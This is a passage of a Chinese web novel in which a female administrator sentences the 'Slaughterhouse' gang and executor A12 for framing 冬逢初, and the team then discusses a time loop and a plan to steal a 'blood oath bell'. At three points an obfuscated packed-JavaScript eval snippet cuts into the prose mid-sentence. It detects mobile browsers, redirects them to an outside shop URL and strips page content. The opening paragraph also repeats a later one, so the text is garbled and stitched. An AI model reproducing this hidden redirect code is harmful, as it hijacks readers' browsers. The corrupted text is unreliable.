随歌挠了挠头,又把思绪拉回现实:“所以,那个袭击系统的神秘玩家,可能和这些相机、这个见鬼的时间循环有关?齐无尽那家伙肯定是知情人!他用那两个离谱的问题,是不是就在暗示这一切都和‘时间’有关?无限不循环的圆周率,代表时间线的不可控与复杂;时光机,则代表……有人试图改变时间,甚至可能已经掌握了干预时间的方法?” 江意此刻才缓缓开口:“也就是说,可以假设:永冬之城的时间与玩家迭代,存在某种循环。而在这个循环中,存在一个或多个,或许知晓循环真相,甚至可能试图干预,打破循环的玩家。他们隐藏极深,目的不明。目前唯一明确的关联者,可能是齐无尽,也可能不是。而‘997255518’这串数字,很可能是循环的规律。” 224.春汛 “你!”关应好气得浑身发抖,“江意!你别以为你全服第一就了不起!你护着那几个废物队友,能有什么好下场?!” 他猛地指向旁听席上的冬逢初:“尤其是他!一个来历不明,记忆不全,连自己过去都搞不清楚的人,他的话,他的行为,本身就值得怀疑!说不定康安就是他情绪失控失手杀的,事后又后悔,才编造出这一整套谎言!你们整个团队,包庇这样一个危险分子,本身就有问题!” 旁听席上,冬逢初微微垂下了眼帘,眼神黯淡下去。坐在一边的初与序、景明垂和随歌下一秒纷纷抬手拍桌,站起身就要骂人,被D19惊恐摇头制止。 被告席上的江意,终于有了反应。 他慢慢转过头,正面看向了关应好。那眼神却像在看什么令人厌弃的秽物。 “关先生。”江意开口,“质疑证据,是你的权利。但将毫无根据的恶意揣测,尤其是针对我队友的污蔑作为呈堂证供,或者哪怕只是作为扰乱视听的噪声……” “这只能证明,贵组织——哦,屠宰场——除了欺凌新人,勾结败类,行些见不得光的脏事之外,在基本的逻辑和道德,乃至作为一个‘人’的底线上,都匮乏得令人叹为观止。” “噗——”旁听席上,不知是谁没忍住,低低笑了一声,又赶紧捂住嘴。 关应好脸上一阵青白:“你……!” 江意却不再看他,仿佛多看一眼都嫌脏,转而面向审判台: “一个组织的行事风格,往往映射其首领的格局。屠宰场以虐杀新人为乐,视规则如无物,其首领的眼光与手段,便止步于阴沟里的蝇营狗苟。如今事败,不想着承担责任,反省己过,却只会撒泼打滚,污言秽语,试图以抹黑他人来掩盖自己的丑陋。” 他微微偏头,思索了一下,补充道: “或许,对贵组织而言,能够想到‘伪造证据’陷害他人这种高明计策,已经是智力水平的超常发挥,值得褒奖了。毕竟,要求一群习惯了用暴力代替思考的人,去理解何为‘证据链’,何为‘逻辑自洽’,何为‘人的尊严’,可能确实有些强人所难。” “……” 整个审判庭一片死寂。 连高台上的D19都忍不住嘴角抽搐了一下,赶紧端起面前的水杯掩饰。 关应好被这一番嘲讽噎得面红耳赤,指着江意“你你你”了半天,却愣是憋不出一句有力的反驳,气得几乎要背过气去。 眼看关应好方寸大乱,屠宰场其中一位主力玩家连忙起身,试图将话题拉回“证据不足”的核心,反复强调别离山无直接监控,一切皆为间接证据或“可能”的伪造。 局势似乎再次陷入僵持。没有铁证,就无法给屠宰场和A12的“杀人栽赃”行为定罪,最多只能定他们一个“管理不善”,“处置不当”。 就在关应好一方稍稍松了一口气,高台中央,那位一直沉默的女管理员,忽然抬起了头。 帽檐的阴影下,无人能看清她的眼神,但所有人都感觉到,她的目光落在了关应好身上。 “关应好。” 被直呼其名,关应好身体一僵:“在……” “你说,别离山监控损坏,是意外。” “是!”他立刻回答。 “何时损坏?” “事发前一日夜间,系统例行维护时出现故障。”关应好答得流利,这是他们早准备好的说辞。 “何人报修?” “值守该区域的执行官。” “维修记录呢?” “因为是突发故障,未来得及生成正式记录,只有口头上报。”关应好应对渐熟。 管理员语速不变,问题却开始加速,且越来越具体: “口头上报,接收人是谁?” “是……是处罚区值班室。” “哪位执行官当值?” “时间太久,记不清了。” “记不清?”管理员语速加快,“系统日志显示,事发前十二时辰内,处罚区值班室共处理十七项事务,其中三项涉及硬件报修。另两项皆有明确记录与接收人签名。唯独别离山监控报修,一片空白。你告诉我,是当值执行官恰好忘了这唯一一件没有记录的口头报修?” 关应好额角渗出冷汗:“可、可能系统日志也有疏漏……” “系统疏漏?”管理员打断他,“好。假设是疏漏。别离山地处偏僻,平日少有玩家前往。玩家康安为何偏偏在监控损坏期间,前往该处?” “我……我怎么知道?玩家行动自由!” “康安前往别离山,是与人有约。约他之人,是谁?” “我不知道!” “你不知道?那你如何断言,康安之死是意外,或与玩家冬逢初有关?”管理员厉声道,“你既不知前因,如何断定后果?你既坚持监控损坏是意外,又如何笃定冬逢初能在无监控环境下伪造出指向你的证据?你的确信,从何而来?” “我……我那是根据常理推断!”关应好有些慌乱,思路开始跟不上语速。 “常理?”管理员冷冰冰反问,“你的常理,是建立在你对‘别离山当日无监控’这一点之上。你口口声声说监控损坏是意外,是系统疏漏导致无记录,那你为何对‘无监控’状态如此确定?仿佛亲眼所见,仿佛亲手所为?!” 最后一句,如同惊雷炸响! 关应好脑中嗡的一声,被逼得后退半步,脱口辩驳:“我当然确定!因为那监控就——” 话到一半,他猛然惊醒,脸色瞬间惨白如纸,剩下的话死死卡在喉咙里。 但,已经晚了。 “就是什么?”管理员漠然道,“就是你,或者你指使的人,为确保行动干净,亲手破坏的,是吗?” 死寂。 “轰——!!!” 随歌第一个蹦了起来,激动地喊道:“操!他自己说漏了!听见没!他承认了!监控是他们搞坏的!!他们早就知道康安会死在那里!他们就是凶手!!” 紧接着,后方所有听清了关应好那脱口而出证词的玩家,全都沸腾了!欢呼声、怒骂声、拍掌声如同海啸般爆发出来! “他自己认了!” “监控是他们破坏的!做贼心虚!” “没有意外!就是谋杀!就是栽赃!” “屠宰场!A12!给老子死!!” 关应好僵在原地,面如死灰,浑身抖得像风中的落叶。他身后的A12,闭上了眼睛,仿佛被抽走了所有力气。 高台之上,女管理员缓缓靠回椅背,初与序注意到她轻轻勾了一下嘴角。 她等待沸腾的声浪稍稍平息,才再次开口:“意图劫财,证明早知康安将死。接受指令清理现场,证明早知事发地点与结果。结合此前A12私下联络、提及监控干净等证言,” 她顿了顿, “原告方关应好,及其所代表的屠宰场部分成员,与执行官A12,共谋杀害玩家康安,并伪造证据、栽赃陷害玩家冬逢初之事实,” “——成立。” “成立”二字时,屠宰场炸开了锅,有人跳起来拍桌怒吼: “就算我们认了康安这事!那冬逢初呢?!我兄弟活生生的一条命,就是死在他的剑下!永冬之城铁律:玩家在非副本区域互相残杀,死罪!这是铁律!系统定的!谁都改不了!还有初与序,劫法场,对抗执行官,公然藐视系统权威,这又该怎么算?!难道因为他们揪出了A12,他们自己犯下的罪就能一笔勾销吗?!” 这话确实戳中了要害。许多激动中的玩家也稍稍冷静下来。 高台上,女管理员只是微微抬了抬手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097982|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那大汉如同被扼住喉咙,再说不出一个字,被无形的力道强行按回座位。 “审判尚未结束。”她淡淡道,“一桩归一桩。康安案,勾结栽赃之罪已定。现在,审理冬逢初涉嫌于永冬之城非副本区域故意杀人,及初与序等人劫法场、对抗执行官一案。” 她转向被告席旁的冬逢初和初与序。“冬逢初,陈述别离山当日,你与屠宰场成员冲突经过。” 冬逢初缓缓站起。他脸色依旧苍白,复述了当日被屠宰场数人围追堵截至别离山的经过。 “我无意取他性命,”冬逢初最后说道,“当时只想脱身。他的死,是意外。” “放屁!”屠宰场那边又有人忍不住低吼,却被管理员一个冰冷的眼神僵住。 管理员未作评判,只是调出了一段影像。这是通过特殊手段还原出的当日别离山发生的模糊画面。画面断续不清,但足以看出冬逢初被多人围攻,以及最后那致命一击发生。 “技术还原显示,死者当时攻击存在主动前冲偏差,冬逢初回剑为防御性后撤格挡的惯性上扬,并非主动刺击。结合双方实力对比、围攻态势及冬逢初本人陈述,可认定为——在遭受致命围攻下,基于自保本能进行的防卫行为。死者死亡,系其自身攻击过猛、收势不及,与防卫行为结合导致的悲剧后果。” 她顿了顿,给出判定:“根据《永冬之城特殊状况处置条例》第三章第七条,在遭受明显致命威胁且无法通过其他方式规避时,采取必要防卫措施导致攻击方伤亡,可酌情减免或免除‘城内厮杀’罪责。冬逢初行为,定性为‘防卫过当,致人死亡’,主观无杀人故意。免于死刑及常规刑罚。” 屠宰场众人脸色灰败,还想争辩,却见管理员已转向初与序。 “初与序,陈述劫法场缘由及经过。” 初与序站起身,说道:“缘由有二。其一,冬逢初遭人陷害,判处死刑不公。我作为他的队友及爱人,无法坐视他蒙冤赴死。其二,劫法场计划,旨在引出真凶,揭露A12与屠宰场勾结之罪行,并留存关键证据。对抗执行官实属无奈,过程中尽可能避免了致命伤害。此举是为了揭露罪恶,而非单纯对抗系统。” 管理员沉默了片刻。没人敢开口说话。 “劫法场,对抗执行官,扰乱行刑秩序,事实清楚,不容辩驳。”她缓缓开口,“此行为,严重挑战系统权威与既定规则,按律当严惩。” 所有关心初与序和冬逢初的玩家闻言,心都提了起来。 “然而,”管理员话锋一转,“事出有因。冬逢初之冤情,经由此次审判得以证实。劫法场行为,客观上成为了纠正更大不公的导火索与关键一环。其动机非为私利,掺杂了纠错与揭露之目的。” 她又沉吟了一会儿,似乎在权衡。 “功过虽不能完全相抵,但量刑可酌情考量。念在其行为最终导向了对系统内部蠹虫的清除,且过程中未造成执行官永久性伤残或死亡。” “现判决如下: 一、 执行官A12,身为高权限执行官,勾结玩家组织,谋杀玩家,栽赃陷害,滥用职权,数罪并罚,判处——立即格式化。” “二、 A队其余涉事执行官,依参与程度及知情状况,分别予以权限降级、调离核心岗位、观察期延长等处罚。” “三、 玩家关应好,组织并参与谋杀玩家康安,栽赃陷害,判处——死刑。” “四、 屠宰场其余参与康安案之核心成员,判处流放至S级随机副本,生死自负。” “五、 玩家冬逢初,防卫过当致人死亡,免于刑罚。玩家初与序,及冬逢初,判处——于永冬之城休整三十日后,强制进入指定A级副本。” 判决既下,尘埃落定。大堂外大树的枝丫不堪重负,那捧了一冬的厚雪簌簌落地,摔碎成一场迟来的春汛。 225.997255518 “既已审结,尚有细节需理清。”管理员微微抬头,转向江意所在的方向,“玩家康安,为此案关键死者,亦为一切事端之起源。其头颅和右手下落,至今不明。你们可知现在何处?” 大堂内其他玩家才反应过来,康安死了,被栽赃了,案子审完了,可死者本人的头颅和右手呢? “……”五人纷纷默契地移开目光,观众席四个人互相在桌底下偷偷推搡肘击,谁也不想开口接话。 最终,是随歌清了清嗓子,觉得这事儿瞒不过去,只好开口:“呃……这个嘛……” “康安的……嗯,头颅和右手,现在应该在《蔚蓝海神号》副本里,当美人鱼呢。” “……” “…………” 高台上,D19猛地抬手捂住了脸。 玩家们小声嘀咕:“啥玩意儿?美人鱼?” 随歌说完,缩了缩脖子,找补道:“那个当时情况紧急嘛,处理起来不太方便,就……就用了点特殊渠道……海葬……也挺环保的不是?” 几秒后,女管理员意味深长地吩咐道:“记录:玩家康安部分遗体下落已确认,位于《蔚蓝海神号》副本海域。通知副本管理处,派一队执行官,前方《蔚蓝海神号》,打捞大海,将康安的部分遗体找回,妥善处理掉。” A12在被带走时,回头深深看了一眼初与序和冬逢初,眼神最终化为一片空洞。关应好则被两名高阶执行官拖走。 一场席卷全城的风暴,似乎就此落下帷幕。 与此同时,某个单人副本的简陋安全屋内。 蒋川蜷缩在角落,面前的系统面板正显示着审判结束后的官方通报和漫天飞舞的讨论。她看着“屠宰场成员”被一个个点名处罚,和执行官四处搜捕漏网之鱼的通告,心脏几乎要跳出嗓子眼。 她死死盯着门口,等待着那扇门被踹开,等待着执行官进来将她逮捕。 她算是屠宰场的人,她参与了之前的围堵,虽然康安案她未直接插手,但按照系统的连坐和清算,她绝无幸理。 一分钟,两分钟……十分钟过去了。 门外只有副本里的风声,以及远处怪物低沉的嘶吼。 没有任何人来找她。 她颤抖着手,再次调出面板,仔细阅读那份处罚名单,从头到尾,看了三遍。 没有她的名字。 连“其余参与成员”的模糊指代里,似乎都没有她的痕迹。仿佛系统,都有意无意地将她“遗忘”了。 这不可能。 蒋川缓缓抬起头,望向副本灰蒙蒙的天空。她想起初与序最后看她那一眼,平静无波。 她靠在墙壁上,思绪飞远。 “初与序……” “你到底是谁?” 大堂之内,喧嚣退去。玩家们散入永冬之城凌晨的微亮之中。方才的审判庭,此刻渐渐冷却。 高台上,那位女管理员依旧坐在原位,轻轻抬手,在空中划出几道。方才那些由她凭空塑造的审判席、原告被告席、旁听长椅,又一次悬浮、分离,还原成原本殿堂内的陈设,落回它们原本的位置。 初与序几人并未随人群离开。他们站在殿堂外,纷纷探出头来偷偷盯着管理员。 景明垂压低声音:“好不容易让管理员下来一趟。总不能白忙一场。总要看出点什么。” 初与序没有说话,她紧盯着管理员每一个细微的动作。 太熟悉了。 她一定在哪里,以某种方式,近距离看过这个人的动作,甚至有可能和她合作过。 既然她如此刻意地遮掩面容,那么她的脸一定不能被他们,或者说不能被大多数玩家看到。因为一旦看到,很可能就会被认出来。 初与序忽然冒出一个念头:这个管理员,也是玩家。或者说,她曾经是玩家。因为某些事,才得以脱离玩家的身份,升格为永冬之城“管理员”之一。 旁边的随歌用气音说道:“诶,你们说咱们一会儿偷偷跟着她怎么样?看看她怎么离开的,往哪个方向走?说不定运气好,能摸到管理员老巢的边儿呢?这可是千载难逢的机会!” 他话音刚落。 高台上,那位背对着他们的女管理员,顿了一下。 然后,她微微偏了偏头。对着他们五人藏身的阴影角落: “你们,可以试试。” 五人:“?!” 随歌瞬间僵住,脸上的表情精彩纷呈,写满了“卧槽她怎么听到的”、“我说话声比蚊子还小”、“完了完了要被格式化了”等一系列复杂心理活动。冬逢初无奈地看了他一眼,叹了口气。 然而,预想中的惩罚并未降临。那女管理员说完那句话,便不再理会他们。她抬起手,随意地拂了拂制服袖口并不存在的灰尘。 接着,就在五双眼睛的注视下,那道高挑身影,干脆利落地凭空消失在了原地。 没有留下任何痕迹,仿佛她从未在那里坐过。 只剩下空旷冰冷的大堂,以及五个站在阴影里面面相觑的人。 “啥意思啊……?”随歌张了张嘴,最终只干巴巴地吐出几个字:“就……这么走了?” 还真是……来去如风,莫测如神。 一点线索都不给留啊。 身后传来D19声音:“你们几个,在这儿干嘛?” 五人回头,只见D19走过来,将手里的箱子打开,里面正是初与序的短刀、冬逢初的长剑、景明垂的金弦,以及江意的重力手环。 “诺,物归原主。”D19将武器一一递还,“除了随歌提前偷偷拿走的竹扇剩下的,都在这儿了。” 初与序接过自己的短刀,刀身自己亲昵地贴了贴她的手背,随即化作一缕流光,自动收回面板中。 “回去吧。”江意率先转身,朝着D栋的方向走去, D栋1701,江意的家开着暖气,将房间烘得暖融。没开着几盏落地灯。地毯上,五人加上陈秋天和火腿面包,围着茶几坐了一圈。 随歌怀里抱着一大袋刚开封的薯片啃,火腿面包静静地坐在他旁边的软垫上,不断用余光瞟着他,忽然,它飞快地伸出两片面包边,以迅雷不及掩耳之势从随歌的薯片袋里精准夹出几片,塞进自己嘴里。 “喂!别抢我薯片啊!”随歌立刻护食地大叫起来。 “那你把草莓牛奶给我!”火腿面包叉着腰。 “那更不行!” 初与序盘腿坐在景明垂旁边,将话题引入正轨:“这次在善佑医院,我遇到了一道密码锁。密码还是‘997255518’这一串数字。” 陈秋天之前并不知晓这串数字,闻言露出疑惑:“这数字有什么特别含义吗?” “不知道。”冬逢初窝在旁边的单人沙发里,脸色在暖光下好了些,“但它出现的频率太高了。《死亡电梯》的隐藏线索是它,善佑医院的关键密码又是它。不像巧合。” “还有齐无尽,”景明垂补充道,“上次我们去问他关于相机的事,他提出的那两个问题也很古怪。” 提到相机,随歌将团队赛获得的相机、里面554张没有景明垂的照片、第555张突兀出现的五人合影,以及那段记录着与初与序容貌无二的女子被刺穿颈动脉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097983|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 致命视频,原原本本地复述给了陈秋天听。末了,他语气夸张地总结: “……然后我们就去找齐无尽那家伙对质!嘿,他倒是承认他也有一个一模一样的,说是故人所赠,只见过一面,不知生死。但要我们回答他两个问题才肯透露更多——‘圆周率的完整数字’和‘制造时光机的步骤’!听听!这他妈是人能答得上来的?摆明了就是不想说!” 初与序说道:“我认为,他问的问题是在暗中给我们线索,但我一直没想到。” 陈秋天听完,看向初与序:“那段视频能给我看看吗?” 初与序点了点头,从面板里拿出相机,将视频播放出来。 画面结束后,陈秋天沉默良久,才缓缓开口:“齐无尽那两个问题,确实是在给你们线索。” “圆周率,代表无限不循环,不可知,不可控。而时光机代表逆转时间,跨越时空。” 她顿了顿,看向随歌手中的相机:“随歌,你的相机,记录的是‘现在’。而你们得到的这台‘新’相机,里面的照片序列,从最初没有景明垂,到第555张突然出现,却在证明,在某个‘过去’,或者说,在另一条时间轨迹或可能性里,景明垂是在很后期才加入你们的。并且,根据我千年来的记忆,在第一批玩家时,我确实没有见过景明垂。” 随歌眼睛一亮,顺着这个思路猜测:“那齐无尽口中的故人,会不会就是视频里那个‘初与序’?假如她以某种特殊状态存在,并且把这一切都记录进了相机里,然后交给了齐无尽保管?齐无尽可能知道些什么,但又受限于某种规则或承诺,只能用这种方式提示?那他人还怪好嘞。” 初与序垂眸,平静说道:“如果这台相机里记录的,是某种已经发生过的‘过去’,或者是另一个可能性分支的‘结果’。”她抬起眼看向众人,“那可能意味着,有些事情是注定会发生的。” 室内一时寂静。关于“初与序会死”的可能的概率,再次提升。 “不一定。” 陈秋天忽然出声打断:“如果一切都是注定的、不可更改的循环,那么当初,你提出‘要不要毁了这里’的时候,我们就不会失败,D栋就不会只剩下四十多人,后来也不会有那么多变故,永冬之城或许早就以另一种方式终结了。” “时间这东西,就是一个环。首尾相连,循环往复,但每一次循环,都可能因为某些因素,产生细微的偏差,让身处其中的人,有机会看到‘环’之外的东西,或者,改变环的轨迹。” “而且,”她指了指自己,又指了指江意等人,“他们就是把永冬之城整个儿拆了,系统总部炸成烟花,也绝不会让你死的。” “那当然。”随歌咬着薯片,忙点头。另外几人也投来赞同的目光。 初与序扶额,轻轻叹了口气,像是在笑。 随歌挠了挠头,又把思绪拉回现实:“所以,那个袭击系统的神秘玩家,可能和这些相机、这个见鬼的时间循环有关?齐无尽那家伙肯定是知情人!他用那两个离谱的问题,是不是就在暗示这一切都和‘时间’有关?无限不循环的圆周率,代表时间线的不可控与复杂;时光机,则代表……有人试图改变时间,甚至可能已经掌握了干预时间的方法?” 江意此刻才缓缓开口:“也就是说,可以假设:永冬之城的时间与玩家迭代,存在某种循环。而在这个循环中,存在一个或多个,或许知晓循环真相,甚至可能试图干预,打破循环的玩家。他们隐藏极深,目的不明。目前唯一明确的关联者,可能是齐无尽,也可能不是。而‘997255518’这串数字,很可能是循环的规律。” 226.下一步计划 江意将水杯轻轻放在了茶几上,他抬眼,声音平静:“事情走到这一步,康安案的纠葛已清,A12已除,表面的威胁暂时压下。我们,该进行下一步计划了。” “这么快?!”随歌瞪大眼睛。 陈秋天倒是没有什么意外之色:“那我还能坐在这里听吗?” “当然。”江意回答。 陈秋天是D栋激进派硕果仅存的元老,也是目前整个永冬之城里知晓旧事最多,距离真相最近的人之一。江意等人现在的目标和九千多年前那场失败的“起义”,本质上并无不同。陈秋天是他们的同伴,没理由回避这个话题。 不过,八角窗阁楼毕竟算是他们五人的秘密基地,江意并未提议移步那里。他只是给D19发了通讯,示意他给D栋1701开系统监听屏蔽器。 确认安全后,江意才重新看向众人。 “若想毁掉永冬之城,我们不可避免地需要见到妄主,并且不能再像对付A12那样,仅仅依赖揭露罪行、引发公愤,逼迫管理层按规则下来处理。那套方法,有其极限,且不可复制。” “管理员的数量、能力,以及他们处理麻烦的方式,我们一无所知。或许我们费尽心力制造的混乱,在他们眼中,挥手就能平息,甚至可能反而暴露我们自己,引来更直接的镇压。” 他顿了顿,说:“所以我们需要从永冬之城的规则下手。规则束缚玩家,也束缚执行官,更定义了管理员行动的边界。” “如果我们能制造一场性质足够特殊、完全在系统规则内,又碰到了规则漏洞的事,并且将执行官都暂时引离永冬之城,让永冬之城空城,那么,留守永冬之城,处理突发重大状况的责任,就会落在管理员的肩上。” “而当不止一位管理员因此被牵制、不得不将注意力投入永冬之城时,我们便有机会接触妄主。” 江意话落,整个1701安静了一瞬。 随歌听得张大了嘴,半晌才喃喃道:“引、引开执行官?还要性质足够特殊?还得在规则内?意哥,这听着比劫法场还难搞啊!” “具体要怎么做?”景明垂平静地问道,“什么样的事情,才能达到你说的那种效果?” 江意靠回椅背,:“具体方案,需要从长计议。但我们需要帮手,很多很多帮手,远不止D栋四十几号玩家。” “大概要多少人?”初与序问道。 江意垂眸计算了几秒,说道:“最少,一万三千个。” 几人:“???” “多少?!”随歌怀疑自己耳朵出了毛病,“一万三?!是我想的那个一万三千个‘人’吗?!” 陈秋天也惊讶道:“为什么需要这么多人?而且……你怎么能如此精确地确定这个数字?” 江意明显猜到众人的态度,平静地解释:“永冬之城的执行官共有二十六队,每队至少五百名执行官,共有一万三千人。” “我们的目标是让所有执行官在同一时间离开永冬之城,这意味着我们需要确保每一位执行官,都有一个或多个需要处理的玩家。” “所以,”江意说道,“一万三千是最低限度。少于这个数,必然会有执行官留守,计划就会出现缺口。” “我们需要做到万无一失,这是第一次,也是最后一次。” 冬逢初问道:“我们要做的事风险极高,不是每一个玩家都愿意拿自己的命去冒险。我们怎么可能凑齐一万三千个帮手?” 这几乎是天方夜谭。永冬之城的玩家固然对系统有诸多不满,但真正敢于豁出一切去“毁掉这里”的,终究是极少数。D栋当年鼎盛时期,激进派的核心成员也不过百余人,即便算上外围同情者,也远达不到这个恐怖的数目。 江意点了点头:“你说得对。靠自愿,绝无可能凑齐这个数目。所以,我们不能走普通的路。” “所以,我们需要考虑一些……非常规的手段。” 他站起身,走到了客厅一侧。那里一直垂挂着一幅深色帘幕,将后面的墙壁遮得严严实实。 此刻,他伸出手,将帘幕向两侧拉开! 映入众人眼帘的,是一面被各种纸张,照片,图纸贴满的线索墙,无数红色细线将纸张串联起来。有些纸张已经泛黄,有些则墨迹犹新。墙上甚至还有用图钉固定的古怪符号拓片,以及一些影像截图。 而在这面线索墙的正中央,贴着一张细节清晰的照片。 照片上是一个物件。 ——那是一个样式极为古朴的青铜铃铛,没有任何花纹装饰,只在铃身表面,有着一道道深深凹陷进去的暗红色纹路。 江意表情不知为何忽然有些犹豫,半晌才开口道:“我之前去了一趟系统办事区的副本道具档案室。在封存的旧档里,找到了这个的记载。” 他抬手,轻轻敲了敲墙上那张铃铛照片: “血誓铃。” “记载称,将任意玩家的血液滴于此铃上,该玩家便会与铃铛达成契约。当有人摇响此铃时,所有曾滴血入铃的玩家,都会不受控制地做出违反其当前所在副本规则的行为。” 他补充道:“这件道具最初的设计目的,是用于在团队竞争型副本中,暗算敌对队伍。摇响铃铛,让敌方成员突然违规,吸引副本怪物或惩罚机制的注意,为己方借刀杀人。是……相当阴损的东西。” 众人这时才知道为何江意方才表情犹豫,使用这种利用血液和契约,强制操控他人行为,确实有些不道德。 陈秋天提问道:“那我们难道要去随机堵住路上的玩家,强行取他们的血?有点难办了诶意哥。” 江意:“……当然不是。” 他解释道:“永冬之城的医院有所有玩家的血液备份。收集血液的任务,由S23和C13负责,他们有权限。” “而我们,”江意指向旁边另一份资料,“需要做的,是拿到血誓铃。” “根据信息,血誓铃存在于一个名为《极地之下》的S级冰川副本。副本环境极端,十几年前被系统半封存,极少有玩家进入。” 江意看向初与序和随歌:“我记得之前你们和向枝冥帮S ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102040|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 23抓怪物,得到了一次可自由选择副本的权限。” 初与序点了点头:“我们可以找S23,兑换进入《极地之下》副本权限。” “谢谢。”江意颔首,“在你和冬逢初一个月后必须进入处罚副本之前,我们还有一段时间,进入《极地之下》,带出血誓铃,可以吗?” 冬逢初也点了点头:“伤愈后即可出发。” “这次副本会很危险。”江意又开口道,“《极地之下》能被定为S级,并不仅仅因为寒冷。南极冰川下的环境复杂诡异,我们不是专业的极地探险者,稍有不慎,就会死亡。” “此外,康安案虽了,但屠宰场背后的势力并未根除。他们的二把手关应好被判死刑,真正的首领至今未曾露面。我们这次进入副本,他们极有可能会尾随而入,在副本内部下手。那将比在永冬之城更危险,更不易被外界察觉。” 他又看向陈秋天:“因此,这次行动需要分头进行。陈秋天,还有白闽、向枝冥、安楚他们,需要留在永冬之城,继续收集情报,留意屠宰场和执行官方面的动静。” “其次,如果我们在副本里遇到麻烦,你们需要准备接应,并且执行备用方案。” 江意带队,如果他们在副本里遇到了麻烦,出不来了,那只有一种可能,就是彻底死亡。陈秋天明白这个道理,她叹了口气,点了点头表示自己明白。 现在已是正午,窗外的雪光透过厚重的窗帘缝隙,在地板上投下几道冷白的线。一天没睡,谈话刚结束困意就几席卷上门,随歌几乎是闭着眼飘出了门,景明垂和冬逢初也掩不住疲态,低声告辞。陈秋天对江意和初与序挥了挥手,最后一个离开。 江意看不出多少困意,他轻轻关上门,转过身,看见初与序并未离开,而是站在不远处,背靠着墙壁,正静静地看着他。 两人对视片刻,江意没有意外。 “进阁楼说吧。”他道。 阁楼内光线昏暗,屋顶那盏老旧的白炽灯泡散发着光晕,时间在这里流逝得更慢,又或者完全是被定格住了。 江意在初与序对面的旧沙发上坐下,他抬起眼,说道:“初与序,我知道你现在有很多问题,也知道你想问些什么。陈秋天在善佑医院,应该已经告诉了你。” 初与序点了点头,没有否认: “意哥,你是长生者。这件事,为什么从不告诉我们?” 江意又沉默了,良久,他才重新开口:“因为,我以为你们都知道。” 初与序一怔:“为什么你会这么认为?” 江意看着她,说道“因为,我在永冬之城活着的这九千九百七十二年里,加上今年进来的这一批新人玩家,我一共见到了五百五十五次你,以及永冬之城其他全部玩家。” 初与序张了张嘴,似乎没理解这句话背后的含义:“什么意思?五百五十五次……我?” 江意没有立刻解释,他只是微微向后靠去,闭上了眼睛。再次睁开眼时,他说:“接下来我说的话,很荒谬,你可能不信,但这都是真实发生的。” 227.当年 9972年前,江意与陈秋天,都是第一批踏入这片雪原的玩家。那时的永冬之城与陈秋天描述的并无二致,荒芜简陋。玩家们很快分裂,D栋聚集起了像今天一样寻找着回归现实的人,但最终失败了。 不久之后,初与序和冬逢初毫无征兆地在同一天内彻底消失。 就在他们消失的当晚,永冬之城发生了剧变。系统以不可思议的速度进化,变得无比智能和严密;那些被称为“执行官”的,拥有人类外表和情感的机器人被批量创造出来,接管秩序。江意也是在那时结识了D19、J23这些最早拥有自我意识的执行官。 剧变来得太快太诡异,江意D栋成员意识到,这一切必然与消失的初与序和冬逢初,或者他们中的一人,有着脱不开的干系。他们极有可能就是永冬之城的创始人,或者是某种高级的存在。 于是他们商量了一个计划:至少需要两个人成为“长生者”。一个,留在永冬之城的永恒里,走一步摸索一步;另一个,则进入一个与初与序或冬逢初过去紧密相关的副本,在那里“永生”,寻找线索。 当时的冬逢初像现在一样,没有任何关于过去的记忆。于是,他们选择了《坏孩子》副本,因为那里关联着初与序的过去。 留在永冬之城的重任,落在了江意肩上。而进入副本的人选,成了难题。 白闽原本打算自己去,瞒着陈秋天。但最后关头,白闽改变了主意。她意识到留在那个相对固定的副本里当长生者,或许比留在日渐危险的永冬之城更安全。以陈秋天的实力,足以在那个副本里安然通关并长久停留。 于是,白闽用谎言和嘱托,将陈秋天送进了《坏孩子》副本,让她去“等待一个人”,却没有告诉她全部的真相。 后来的岁月,D栋的同伴一个接一个倒在不同的副本里,永冬之城的规则越发森严,系统越发强大。江意独自守着秘密,在漫长的时光里一点点收集线索,与执行官周旋,看着熟悉的面孔一次次更新换代,又一次次归于沉寂。 然后,一年后,在某个看似平常的早晨,江意醒来时,发现时间……倒流了。 他回到了“第一批玩家”刚刚进入永冬之城的那一天。而他自己,连同其他那些未死亡的玩家,包括随歌、白闽、回北等人,成为了“新”的第一批玩家,即老玩家。除了江意这个长生者,没有人记得过去。他们不记得陈秋天,不记得初与序冬和冬逢初。 而那天,按照“新”的时间线,是第二批新人玩家抵达的日子。 江意怀着巨大的疑惑,去了车站。 他看到了第二批玩家。 令他震惊很久的是——除了他们这些“第一批”遗老,其组成人员,与真正的第一批玩家一模一样。而消失已久的初与序和冬逢初,竟然也出现在了那支“新人”队伍里,眼神陌生。 意料之中的,他们也全都忘记了过往。 